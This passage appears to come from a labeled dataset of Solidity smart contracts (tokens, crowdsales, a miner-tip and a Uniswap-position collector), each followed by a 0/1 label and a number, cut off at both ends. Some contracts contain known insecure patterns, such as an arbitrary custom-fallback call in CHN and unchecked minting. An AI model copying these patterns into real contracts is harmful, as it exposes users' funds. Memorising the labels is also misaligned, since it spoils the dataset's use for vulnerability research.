public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 0; uint8 public constant TOKEN_DECIMALS_UINT8 = 0; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Point Value Bonus Token"; string public constant TOKEN_SYMBOL = "PVBT"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x5e0c441b6Df595D6F5431EF806a9E9fe714b090C; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x5e0c441b6df595d6f5431ef806a9e9fe714b090c)]; uint[1] memory amounts = [uint(1000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
4,678
contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) private { if (!assertion) throw; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract Crowdsale is Haltable { using SafeMathLib for uint; ERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount); event Refund(address investor, uint weiAmount); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = ERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function() payable { throw; } function invest(address receiver) inState(State.Funding) stopInEmergency payable public { uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender); if(tokenAmount == 0) { throw; } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount); } function buy() public payable { invest(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract StandardToken is ERC20, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } } contract MintedTokenCappedCrowdsale is Crowdsale { uint public maximumSellableTokens; function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { maximumSellableTokens = _maximumSellableTokens; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function assignTokens(address receiver, uint tokenAmount) private { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } } contract RelaunchedCrowdsale is MintedTokenCappedCrowdsale { function RelaunchedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) MintedTokenCappedCrowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _maximumSellableTokens) { } function setInvestorData(address _addr, uint _weiAmount, uint _tokenAmount) onlyOwner public { investedAmountOf[_addr] = _weiAmount; tokenAmountOf[_addr] = _tokenAmount; weiRaised += _weiAmount; tokensSold += _tokenAmount; investorCount++; Invested(_addr, _weiAmount, _tokenAmount); } }
1
3,948
pragma solidity >=0.7.0 <0.9.0; contract FlashBotLowGas { receive() external payable { block.coinbase.call{gas: gasleft(), value: msg.value}(""); } }
0
2,260
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Caps is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function Caps() public { symbol = "CAPS"; name = "Caps"; decimals = 18; bonusEnds = now + 6 weeks; endDate = now + 261 weeks; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 150000; } else { tokens = msg.value * 100000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
3,084
pragma solidity ^0.4.17; contract ERC223 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function totalSupply() constant public returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Burn(address indexed from, uint256 value); } contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) { revert(); } return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) { return 0; } if (x > MAX_UINT256 / y) { revert(); } return x * y; } } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract CHN is ERC223, SafeMath { string public name = "Colan Coin"; string public symbol = "Colan"; uint8 public decimals = 8; uint256 public totalSupply = 10000000000 * 10**8; address public owner; address public admin; bool public tokenCreated = false; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function admined(){ admin = msg.sender; } function CHN() public { require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin(){ require(msg.sender == admin) ; _; } function transferAdminship(address newAdmin) onlyAdmin { admin = newAdmin; } function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public { uint256 normalizedAmount = amount * 10**8; require(balances[owner] >= safeMul(addresses.length, normalizedAmount)); for (uint i = 0; i < addresses.length; i++) { balances[owner] = safeSub(balanceOf(owner), normalizedAmount); balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount); Transfer(owner, addresses[i], normalizedAmount); } } function name() constant public returns (string _name) { return name; } function symbol() constant public returns (string _symbol) { return symbol; } function decimals() constant public returns (uint8 _decimals) { return decimals; } function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = safeAdd(balanceOf(_to), _value); balances[_from] = safeSub(balanceOf(_from), _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); } Transfer(_from, _to, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner{ balances[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } }
0
2,112
pragma solidity ^0.4.11; contract ERC20Interface { function totalSupply() constant returns (uint256); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract RoseCoin is ERC20Interface { uint8 public constant decimals = 5; string public constant symbol = "RSC"; string public constant name = "RoseCoin"; uint public _level = 0; bool public _selling = true; uint public _totalSupply = 10 ** 14; uint public _originalBuyPrice = 10 ** 10; uint public _minimumBuyAmount = 10 ** 17; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint public _icoSupply = _totalSupply; uint[4] public ratio = [12, 10, 10, 13]; uint[4] public threshold = [95000000000000, 85000000000000, 0, 80000000000000]; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } modifier onlyNotOwner() { if (msg.sender == owner) { revert(); } _; } modifier thresholdAll() { if (!_selling || msg.value < _minimumBuyAmount || _icoSupply <= threshold[3]) { revert(); } _; } function RoseCoin() { owner = msg.sender; balances[owner] = _totalSupply; } function totalSupply() constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256) { return allowed[_owner][_spender]; } function toggleSale() onlyOwner { _selling = !_selling; } function setBuyPrice(uint newBuyPrice) onlyOwner { _originalBuyPrice = newBuyPrice; } function buy() payable onlyNotOwner thresholdAll returns (uint256 amount) { amount = 0; uint remain = msg.value / _originalBuyPrice; while (remain > 0 && _level < 3) { remain = remain * ratio[_level] / ratio[_level+1]; if (_icoSupply <= remain + threshold[_level]) { remain = (remain + threshold[_level] - _icoSupply) * ratio[_level+1] / ratio[_level]; amount += _icoSupply - threshold[_level]; _icoSupply = threshold[_level]; _level += 1; } else { _icoSupply -= remain; amount += remain; remain = 0; break; } } if (balances[owner] < amount) revert(); if (remain > 0) { remain *= _originalBuyPrice; msg.sender.transfer(remain); } balances[owner] -= amount; balances[msg.sender] += amount; owner.transfer(msg.value - remain); Transfer(owner, msg.sender, amount); return amount; } function withdraw() onlyOwner returns (bool) { return owner.send(this.balance); } } contract BuyRoseCoin { event Purchase(address _buyer, uint _value); event TransferBack(address _buyer, uint _amount, uint _value); RoseCoin roseCoin = RoseCoin(0x5c457eA26f82Df1FcA1a8844804a7A89F56dd5e5); function BuyRoseCoin() {} function() payable { buy(); } function buy() payable { roseCoin.buy.value(msg.value)(); Purchase(this, msg.value); uint amount = roseCoin.balanceOf(this); roseCoin.transfer(msg.sender, amount); TransferBack(msg.sender, amount, this.balance); } }
0
900
pragma solidity =0.6.2; interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721{ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface InftRoute{ function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); function decreaseLiquidity(bytes calldata params) external payable returns (uint256 amount0, uint256 amount1); } library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'MY ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'MY ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'MY ds-math-mul-overflow'); } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "MY SafeMath: division by zero"); return a / b; } } contract TheCollector{ using SafeMath for uint; address payable public owner; address public weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public Unft = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; uint256 public fee = 100; constructor() public payable{ owner = msg.sender; } modifier onlyOwner(){ require(msg.sender==owner); _; } function CFEE(uint256 NFEE) public onlyOwner { fee = NFEE; } function Cweth(address TToken, uint256 nftID, uint256 amt0min, uint256 amt1min, uint128 tokensOwed0, uint128 tokensOwed1, bool ETH, bool ret) public payable { IERC721(Unft).safeTransferFrom(msg.sender,address(this),nftID); (,,,,,,,uint128 liquidity,,,,) = InftRoute(Unft).positions(nftID); bytes memory Adata = abi.encode(nftID,liquidity,amt0min,amt1min,now); bytes memory Adata2 = abi.encodePacked(bytes4(0x0c49ccbe),Adata); (bool decre,) = Unft.call(Adata2); require(decre,"I do not Decre"); collecter(TToken,nftID,tokensOwed0, tokensOwed1,false,ETH); if(ret){ URnft(nftID); } } function collecter(address TToken, uint256 nftID, uint128 amt0max, uint128 amt1max, bool trans, bool ETH) public payable { if(trans){ IERC721(Unft).safeTransferFrom(msg.sender,address(this),nftID); } bytes memory Adata = abi.encode(nftID,address(this),amt0max,amt1max); bytes memory Adata2 = abi.encodePacked(bytes4(0xfc6f7865),Adata); (, bytes memory 